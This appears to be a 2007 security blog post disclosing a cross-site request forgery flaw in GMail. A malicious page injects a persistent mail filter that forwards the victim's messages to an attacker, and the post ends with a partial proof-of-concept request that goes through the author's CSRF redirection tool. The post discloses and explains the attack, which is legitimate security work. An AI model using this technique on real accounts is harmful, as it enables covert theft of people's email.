

Google GMail E-mail Hijack Technique

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Content

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Google GMail E-mail Hijack Technique | GNUCITIZEN

Google GMail E-mail Hijack Technique

published: September 25th, 2007

I feel a bit dirty now. First of all, I would like to say that I am a huge Google fan, so don't take this post personally. Here I am going to show you how someone can install a persistent backdoor within your GMail account and snoop onto all your conversations. I repeat, it is persistent. It is very critical and very unlikely that you will detect it unless you are an uber user.

[\[image: I feel a bit dirty now\]](#)

The following sequence describes how the attack works in a series of screenshots. Go over each step before moving forward.

[\[\[image: image\]\]\(http://www.gnutizen.org/blog/google-gmail-e-mail-hijack-technique/seq1.jpg\)](#)[\[\[image: image\]\]\(http://www.gnutizen.org/blog/google-gmail-e-mail-hijack-technique/seq2.jpg\)](#)[\[\[image: image\]\]\(http://www.gnutizen.org/blog/google-gmail-e-mail-hijack-technique/seq3.jpg\)](#)

The victim visits a page while being logged into GMail. Upon execution, the page performs a `multipart/form-data` POST to one of the GMail interfaces and injects a filter into the victim's filter list. In the example above, the attacker writes a filter, which simply looks for emails with attachments and forward them to an email of their choice. This filter will automatically transfer all emails matching the rule. Keep in mind that future emails will be forwarded as well. The attack will remain **present** for as long as the victim has the filter within their filter list, even if the initial vulnerability, which was the cause of the injection, is fixed by Google.

The technique used in this example is known as Cross-site request forgery, or simply put CSRF. I am not planning to go into details how it works. Just look it up on Google or better yet, Yahoo. Yes Yahoo is a lot better these days, especially when it comes to hardcore Web2.0 API hacking. For more information, check out the following [white paper](#).

I am not planning to release this vulnerability for now. However, it is my responsibility to inform you about it. The exploit was verified by [Ryan Naraine](#) and several close friends. It does work and it is extremely nasty if you ask me. You may criticize my disclosure policy regarding this vulnerability and the one disclosed several days ago concerning [PDF](#). Let's say that it is just one of my social experiments.

*btw, if you find the vulnerability, pls do not disclose it. let Google fix it first and then blog about it. also, virtualized browsers will never protect you from these types of attacks. In an age where all the **data is in the cloud**, it makes no sense for the attackers to go after your box. it is a lot simpler to install one of these persistent backdoor/spyware filters. game over! they don't own your box, but they have you, which is a lot better.*

Update 28 September 2007 at 07:46 GMT (UTC+0)

I promised to release the POC as soon as Google fix the vulnerability, well they did. So, here is how it works:



```
[http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mai
```

The request above goes through my CSRF redirection utility where it is converted into `multipart/form-data` form and submitted on behalf of the victim. The actual exploit can be launched from [here](#).

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